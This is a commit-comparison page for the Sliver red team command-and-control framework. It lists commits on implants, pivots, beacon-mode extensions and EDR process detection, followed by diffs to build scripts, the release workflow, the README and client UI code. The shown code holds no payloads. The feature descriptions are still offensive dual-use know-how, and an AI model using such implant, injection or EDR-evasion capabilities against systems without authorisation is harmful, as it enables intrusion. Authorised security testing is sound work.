Compare commits

...
Author SHA1 Message Date
moloch-- 8471a8692f use default handler, clear stage bytes on job stop 2022-02-07 22:02:55 -06:00
Joe 082dd94ea5 Merge pull request #591 from BishopFox/ux/term
tui ux improvements
2022-02-07 14:10:38 -07:00
moloch-- e71d142d86 tui ux improvements 2022-02-07 14:16:13 -06:00
moloch-- 260f4d4d75 Add extra help to alias cmds 2022-02-07 11:04:30 -06:00
moloch-- 05b663ee8a Add extra help to alias cmds 2022-02-07 11:03:02 -06:00
Joe c78a99a58f Merge pull request #587 from hypnoticpattern/master
fix: upload raise error if file isn't accessible
2022-02-07 07:27:17 -07:00
hypnoticpattern c874565177 fix: upload raise error if file isn't accessible 2022-02-06 23:28:23 -08:00
moloch-- 57d36054b2 Simplify rng initialization 2022-01-31 11:02:07 -07:00
Joe 154061e93a Merge pull request #585 from BishopFox/fix/http-c2-cfg
Implement fix for issue #584
2022-01-29 15:36:15 -06:00
moloch-- d514872d6f Implement fix for issue #584 2022-01-29 14:43:40 -06:00
moloch-- 30c46e85e7 fix comments 2022-01-29 08:31:30 -06:00
moloch-- 87e85bfa40 Verify c2 url scheme matches cmd flag 2022-01-28 17:10:08 -06:00
moloch-- f7a9040352 Fix linux install script 2022-01-28 11:27:40 -06:00
moloch-- 1756ffa2cd Updated install script to not unzip artifacts 2022-01-28 09:43:49 -06:00
moloch-- 928faad39a Fix msf/msf-remote cmds 2022-01-28 09:15:33 -06:00
moloch-- 34f28b15bc Fix windows file name 2022-01-27 11:51:35 -06:00
moloch-- 95ba042198 those arent zip files ... 2022-01-27 11:36:07 -06:00
moloch-- 80375092fe reorder unzip cmd flags 2022-01-27 11:09:58 -06:00
moloch-- 271d50d65c reorder unzip cmd flags 2022-01-27 10:31:51 -06:00
moloch-- 752efb0ed8 Add the .zip suffix because unzip is picky 2022-01-27 09:58:46 -06:00
moloch-- 657831f0c0 Extract artifacts from prior step 2022-01-27 09:23:47 -06:00
moloch-- 6382dcabc4 Extract artifacts from prior step 2022-01-27 09:07:53 -06:00
moloch-- 31efd2afb1 attempt to re-enable arm64 builds 2022-01-27 08:50:02 -06:00
Joe 1d2e76ba47 Merge pull request #578 from BishopFox/bugfix/fix-session-kill-format-string
Fix format string for session kills
2022-01-26 08:56:19 -06:00
Chris Smith ec1339e766 Updated format string 2022-01-25 13:46:57 +00:00
moloch-- 9ba2d4cdfb Fix interactive command parsing https c2 urls 2022-01-24 20:21:56 -06:00
Chris Smith b452d42314 Fix format string for session kills 2022-01-25 01:55:35 +00:00
moloch-- 8e9f6a874c Removed some problematic words from rng dictionaries 2022-01-24 17:21:30 -06:00
moloch-- d0f51d7792 Fix for issue #576 2022-01-24 10:25:33 -06:00
moloch-- ce1d2a2c55 Fix fmt type in kill session 2022-01-24 09:17:59 -06:00
moloch-- 6965958097 fix for issue #575 2022-01-24 08:44:19 -06:00
moloch-- eb8d1bdf11 Add new flags to linux static build 2022-01-23 17:35:55 -06:00
moloch-- 6e5797670d update github pages 2022-01-23 17:23:37 -06:00
Joe c1eeb532e3 Merge pull request #574 from BishopFox/feature/async-alias
Added support for aliases in beacon mode
2022-01-23 15:02:35 -06:00
Joe c7c8027091 Merge pull request #573 from BishopFox/feature/async-ext
Feature/async ext
2022-01-23 14:33:16 -06:00
moloch-- ce27108c1a Added support for aliases in beacon mode 2022-01-23 14:33:02 -06:00
moloch-- 235fb87842 Skip list ext check in beacon mode 2022-01-23 14:02:50 -06:00
moloch-- a0d71f4fe8 fix output 2022-01-23 13:18:02 -06:00
moloch-- 0502f82967 cleanup 2022-01-23 13:07:32 -06:00
moloch-- 2553772ec0 exts execute in beacon mode but no output 2022-01-23 11:58:58 -06:00
moloch-- 406a10d639 initial refactor to support async ext 2022-01-23 10:01:47 -06:00
moloch-- 92b2d2464c initial refactor to support async ext 2022-01-23 10:01:44 -06:00
moloch-- ead0a5ea1e Use golang.org/x/term 2022-01-22 11:44:39 -06:00
moloch-- d0ec264454 hide armory urls on small terminals 2022-01-22 10:23:14 -06:00
moloch-- 9c7e47c95e added armory github.com parser 2022-01-22 08:57:20 -06:00
Joe 4c5a099d5c Merge pull request #569 from BishopFox/fix/alias
Fix/alias
2022-01-22 08:02:49 -06:00
moloch-- 4ed42e4a3d fix alias tar.gz artifact paths 2022-01-22 07:35:47 -06:00
moloch-- ffee881de0 fix alias loading 2022-01-21 21:41:43 -06:00
moloch-- 339bf15387 fix alias loading 2022-01-21 21:20:00 -06:00
moloch-- 92c9a50ba7 style cleanup 2022-01-21 20:58:51 -06:00
Joe 99e6765896 Merge pull request #568 from BishopFox/fix/namedpipes
fix named pipe pivots
2022-01-21 20:02:30 -06:00
moloch-- b5d1e9a3d1 fix named pipe pivots 2022-01-21 19:36:03 -06:00
Joe d1dbd3dcb7 Merge pull request #566 from bluec0re/patch-1
Fix broken implants rm command
2022-01-21 09:14:01 -06:00
BlueC0re 8b81de5129 Fix broken implants rm command
ImplantConfig.Name is empty and the config name is instead stored in the map key.
2022-01-21 15:30:05 +01:00
moloch-- bcc7fb0fcb Fix several bugs related to alias interface 2022-01-20 19:43:00 -06:00
moloch-- 795001f690 Remove debug 2022-01-20 18:15:57 -06:00
moloch-- b0c4f89bcf Improved armory error msgs 2022-01-20 18:13:33 -06:00
moloch-- fb72322065 Added stylized sec product names 2022-01-20 14:02:55 -06:00
moloch-- a1e51d64d4 fix variable name 2022-01-20 08:52:03 -06:00
moloch-- d15c257176 Updated readme 2022-01-20 08:27:00 -06:00
moloch-- 97d3da75b6 Merge master 2022-01-20 08:22:39 -06:00
moloch-- 4e3efeb623 Removed # 2022-01-19 20:39:47 -06:00
moloch-- 81c7dd69da Fix miscalculation in randomization of long poll timeout 2022-01-19 20:19:43 -06:00
moloch-- 6c3b754943 ux improvements 2022-01-19 19:04:49 -06:00
moloch-- fbea84eeb6 fix several format strings 2022-01-19 18:36:17 -06:00
moloch-- 0c83bdc6d1 converted session id to uuid 2022-01-19 18:28:41 -06:00
moloch-- 476eafccf5 Implemented close session cmd 2022-01-19 11:42:15 -06:00
moloch-- 1501633565 Interactive pulls active c2 2022-01-19 09:20:16 -06:00
moloch-- addd22d2f7 Fix implant init 2022-01-19 08:21:54 -06:00
moloch-- f196278c3e Fix implant init 2022-01-19 08:21:07 -06:00
moloch-- 3aa33d3679 Merge pr #552 2022-01-19 08:10:27 -06:00
moloch-- ab197461ae Merge branch 'stage' into usiegl00-stage3 2022-01-19 07:53:12 -06:00
moloch-- 6488df4374 added force-http option 2022-01-19 07:48:54 -06:00
usiegl00 15c5eb29e5 Merge branch 'stage' of https://github.com/BishopFox/sliver into stage3 2022-01-19 14:40:36 +09:00
moloch-- 91e4f5a33b Fix init 2022-01-18 22:35:06 -06:00
moloch-- 62a6ffd1ac Fix pivot reconnection/restart listener 2022-01-18 21:28:23 -06:00
moloch-- a69512ba65 Implemented detection of downstream pivot disconnects/errors 2022-01-18 15:27:08 -06:00
moloch-- 3a1cd3a477 Merge branch 'stage' into v1.5.0_pivots 2022-01-18 09:09:51 -06:00
moloch-- da0499f9da Converted core jobs to sync.map 2022-01-18 08:38:33 -06:00
moloch-- 3169b436a8 server can detect disconnected pivot sessions when parent session is disconnected 2022-01-18 08:25:37 -06:00
moloch-- 26faea2ae0 wip: close upstream disconnected pivot sessions 2022-01-18 08:25:37 -06:00
moloch-- 11eb5f5f27 pivot graph working 2022-01-18 08:25:36 -06:00
moloch-- 49d742cfad Implemented pivot graphs 2022-01-18 08:25:36 -06:00
moloch-- 028521ddc0 tweak pivots ui 2022-01-18 08:25:36 -06:00
moloch-- 66dad91d86 basic n-depth pivots working 2022-01-18 08:25:36 -06:00
moloch-- b9f8e045d9 Fix pivot session id parsing 2022-01-18 08:25:36 -06:00
moloch-- 8ffad32591 Reworked and simplified design, new key exchange 2022-01-18 08:25:36 -06:00
moloch-- d60dcabd86 check golang version 2022-01-18 08:25:36 -06:00
moloch-- 68cece2b96 wip on minor updates 2022-01-18 08:25:36 -06:00
moloch-- 5d3ef197e3 simplified nested envelopes 2022-01-18 08:25:36 -06:00
moloch-- 62c8d678e2 Refactor/simplified design 2022-01-18 08:25:36 -06:00
moloch-- 68fd6b27f9 Refactor/simplified design 2022-01-18 08:25:36 -06:00
moloch-- 21d2a10b7a Removed some unprofessional words from our english dictionary 2022-01-18 08:25:36 -06:00
moloch-- efd4115a1c Minor fixes 2022-01-18 08:25:36 -06:00
moloch-- eed3f51be2 server can detect disconnected pivot sessions when parent session is disconnected 2022-01-18 08:24:34 -06:00
moloch-- 54b09d9a26 wip: close upstream disconnected pivot sessions 2022-01-17 22:32:36 -06:00
moloch-- 1bc1bc11c0 pivot graph working 2022-01-17 17:55:50 -06:00
moloch-- 14aebe943c Implemented pivot graphs 2022-01-16 10:58:12 -06:00
moloch-- 0f20dddc95 tweak pivots ui 2022-01-15 16:36:16 -06:00
moloch-- 75e0b9d931 basic n-depth pivots working 2022-01-15 09:44:58 -06:00
moloch-- 7af5280cd6 Fix pivot session id parsing 2022-01-15 08:50:33 -06:00
moloch-- 1d86383e0d Reworked and simplified design, new key exchange 2022-01-15 08:36:39 -06:00
rkervella 3be52dde2f Add back exports 2022-01-12 09:12:44 -08:00
rkervella 8b18bf571a Install dependencies for bundles too 2022-01-11 14:25:44 -08:00
moloch-- 6dacb8ad9f Merge branch 'stage' into v1.5.0_pivots 2022-01-10 11:20:02 -06:00
moloch-- 1db8e5a22e check golang version 2022-01-10 11:19:56 -06:00
moloch-- 45f323eae9 wip on minor updates 2022-01-08 09:48:53 -06:00
moloch-- 22e615b1b4 Merge branch 'stage' into v1.5.0_pivots 2022-01-06 09:22:06 -06:00
moloch-- afa534ea39 simplified nested envelopes 2022-01-06 09:16:20 -06:00
Joe 10429b7314 Merge pull request #560 from hypnoticpattern/dev-hp
Fixed bug in ls command and added timestamp to SessionClosed
2022-01-05 22:24:35 -06:00
hypnoticpattern dfb6d2e1bb Fixed bug with 'ls' command 2022-01-05 16:54:19 -08:00
hypnoticpattern de3f2c827d Added timestamp to the SessionClosed event 2022-01-05 14:11:28 -08:00
Joe 4569621a8a Merge pull request #559 from hypnoticpattern/dev-hp
Added Crowdstrike Falcon EDR to known processes
2022-01-05 12:25:51 -06:00
hypnoticpattern f21242ca2c Added Crowdstrike Falcon EDR 2022-01-05 08:17:23 -08:00
moloch-- c13a71c92f Refactor/simplified design 2022-01-04 10:51:59 -06:00
moloch-- 9b85a63f69 Refactor/simplified design 2022-01-04 09:53:12 -06:00
moloch-- fdab12c9a5 Removed some unprofessional words from our english dictionary 2022-01-03 11:53:49 -06:00
moloch-- 26abb42859 Minor fixes 2022-01-03 08:54:32 -06:00
moloch-- bf892e9c4b Fix ext id when loading into implant 2022-01-01 09:29:33 -06:00
moloch-- cb7f2b1aea Added download msg 2021-12-31 10:50:40 -06:00
moloch-- 44f16bb6a3 Improved ux 2021-12-31 10:21:41 -06:00
moloch-- 51af17906c Remove coff loader from go assets script 2021-12-31 10:17:47 -06:00
moloch-- 4ba374cee6 Fix extraction path in install from file 2021-12-31 10:12:04 -06:00
moloch-- 55c1145b2d Fix plaintext len calculation 2021-12-30 19:28:27 -06:00
rkervella 336fc4ffea Avoid attempting to load empty library 2021-12-30 13:52:22 -08:00
rkervella 581395e9a4 Fix extension filepath 2021-12-30 13:51:57 -08:00
moloch-- 16ce440014 Fix help cmd 2021-12-30 14:33:23 -06:00
moloch-- 2bf87bff98 Merge branch 'alias-ext' into stage 2021-12-30 11:49:41 -06:00
moloch-- 65788c1003 Fix armory update cmd exists 2021-12-30 11:44:54 -06:00
usiegl00 2e1aa54130 Merge branch 'stage' of https://github.com/BishopFox/sliver into stage3 2021-12-20 07:38:46 +09:00
usiegl00 97715302a3 Add registry delete command 2021-12-17 20:43:31 +09:00
146 changed files with 6551 additions and 4549 deletions

No files matched your search

+40 -31
View File
@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: [master, goreleaser]
jobs:
@@ -35,6 +35,8 @@ jobs:
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
@@ -44,7 +46,11 @@ jobs:
path: ./sliver-*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
@@ -77,10 +83,14 @@ jobs:
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
@@ -98,10 +108,18 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./release && mkdir -p ./artifacts
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./artifacts
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
@@ -109,43 +127,34 @@ jobs:
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
prerelease: true
files: |
./release/*
./artifacts/*
+2
View File
@@ -40,3 +40,5 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.17.5
FROM golang:1.17.6
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+47 -25
View File
@@ -3,13 +3,29 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 17
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
@@ -17,8 +33,10 @@ CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
@@ -30,14 +48,6 @@ LDFLAGS = -ldflags "-s -w \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -80,36 +90,38 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
#
# Targets
#
.PHONY: default
default: clean
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: pb
pb:
@@ -119,6 +131,17 @@ pb:
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
fi
.PHONY: clean-all
clean-all: clean
rm -rf ./server/assets/fs/darwin/amd64
@@ -129,5 +152,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+3 -5
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -17,13 +17,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-fingerprinting features
* Windows process migration, process injection, user token manipulation, etc.
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* TCP and named pipe pivots
* Much more!
### Getting Started
+1 -40
View File
@@ -19,9 +19,7 @@ package assets
*/
import (
"embed"
"fmt"
"io/fs"
"io/ioutil"
"log"
"os"
@@ -32,11 +30,6 @@ import (
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/*
clientAssetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
@@ -80,47 +73,15 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2021 Bishop Fox
Sliver Copyright (C) 2022 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
fmt.Printf("\n\nUnpacking assets ...\n")
}
err := setupDefaultExtensions(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
}
saveAssetVersion(appDir)
}
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
SaveSettings(nil)
}
}
func setupDefaultExtensions(appDir string) error {
localExtDir := GetExtensionsDir()
rootEmbedPath := "fs/extensions"
return fs.WalkDir(clientAssetsFs, rootEmbedPath, func(embedPath string, embedDir fs.DirEntry, err error) error {
if err != nil {
return err
}
localPath := strings.TrimPrefix(embedPath, rootEmbedPath)
if embedDir.IsDir() {
err := os.MkdirAll(filepath.Join(localExtDir, localPath), 0o700)
if err != nil {
return err
}
} else {
data, err := fs.ReadFile(clientAssetsFs, embedPath)
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(localExtDir, localPath), data, 0o600)
if err != nil {
return err
}
}
return nil
})
}
+4
View File
@@ -33,6 +33,8 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
}
// LoadSettings - Load the client settings from disk
@@ -55,6 +57,8 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
}
}
+59 -8
View File
@@ -19,12 +19,17 @@ package alias
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// AliasesCmd - The alias command
@@ -32,7 +37,7 @@ func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(loadedAliases) {
PrintAliases(con)
} else {
con.PrintInfof("No aliases loaded\n")
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
}
}
@@ -43,21 +48,37 @@ func PrintAliases(con *console.SliverConsoleClient) {
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
".NET Assembly",
"Reflective",
"Help",
"Tool Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
for _, alias := range loadedAliases {
installedManifests := getInstalledManifests()
for _, aliasPkg := range loadedAliases {
installed := ""
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
alias.Manifest.Name,
alias.Manifest.CommandName,
alias.Manifest.IsAssembly,
alias.Manifest.IsReflective,
alias.Manifest.Help,
aliasPkg.Manifest.Name,
aliasPkg.Manifest.CommandName,
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
aliasPkg.Manifest.Version,
installed,
aliasPkg.Manifest.IsAssembly,
aliasPkg.Manifest.IsReflective,
aliasPkg.Manifest.OriginalAuthor,
aliasPkg.Manifest.RepoURL,
})
}
con.Println(tw.Render())
@@ -73,3 +94,33 @@ func AliasCommandNameCompleter(prefix string, args []string, con *console.Sliver
}
return results
}
func aliasPlatforms(aliasPkg *AliasManifest) []string {
platforms := map[string]string{}
for _, entry := range aliasPkg.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &AliasManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
+6 -2
View File
@@ -23,6 +23,7 @@ import (
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
